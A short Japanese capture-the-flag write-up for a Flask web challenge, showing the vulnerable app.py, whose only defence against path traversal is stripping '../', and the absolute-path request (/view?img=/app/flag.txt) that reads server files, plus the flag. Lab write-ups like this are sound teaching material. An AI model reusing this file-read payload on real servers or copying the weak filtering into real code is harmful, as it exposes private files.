web/dkri3c1_love_cat
🚩 #nhnc-2025 #web #2025 171 solves / 100pts.
I like cat cat cat & banana
Hint: Flag is in the same directory as app.py
/view?img=cat.pngが/static/images/cat.pngと同じ結果を返す。
Path TraversalからLFIができる。ただ相対パスでapp.pyを指定してみてもできなかったためフォルダ名をゲスして/view?img=/app/app.pyで/app/app.pyを見てみるとソースコードが得られた。
code:app.py
from flask import Flask, request, send_file, abort
import os
app = Flask(__name__)
@app.route('/')
def index():
return '''
<h1> 🐱 Welcome to dkri3c1's Cat Photo Shop </h1>
<p>Cat is Cuteeeee :D </p>
<code>BTW, You can use /view?img=cat.png to view Cute Catttt </code>
<br></br>
<img src="static/images/cat.png" width="500" height="500">
'''
@app.route('/view')
def view_image():
img = request.args.get('img', '')
img = img.replace('../','')
path = os.path.join('static/images', img)
try:
return send_file(path)
except FileNotFoundError:
return abort(404, 'File not found.')
if __name__ == '__main__':
app.run('0.0.0.0',debug=False,port='1234')
このままFlagが含まれているファイル名もゲスして/view?img=/app/flag.txtで/app/flag.txtを見てみると
code:flag.txt
NHNC{dkri3c1_Like_Cat_oUo_>_<_c8763}
以上よりフラグが得られた。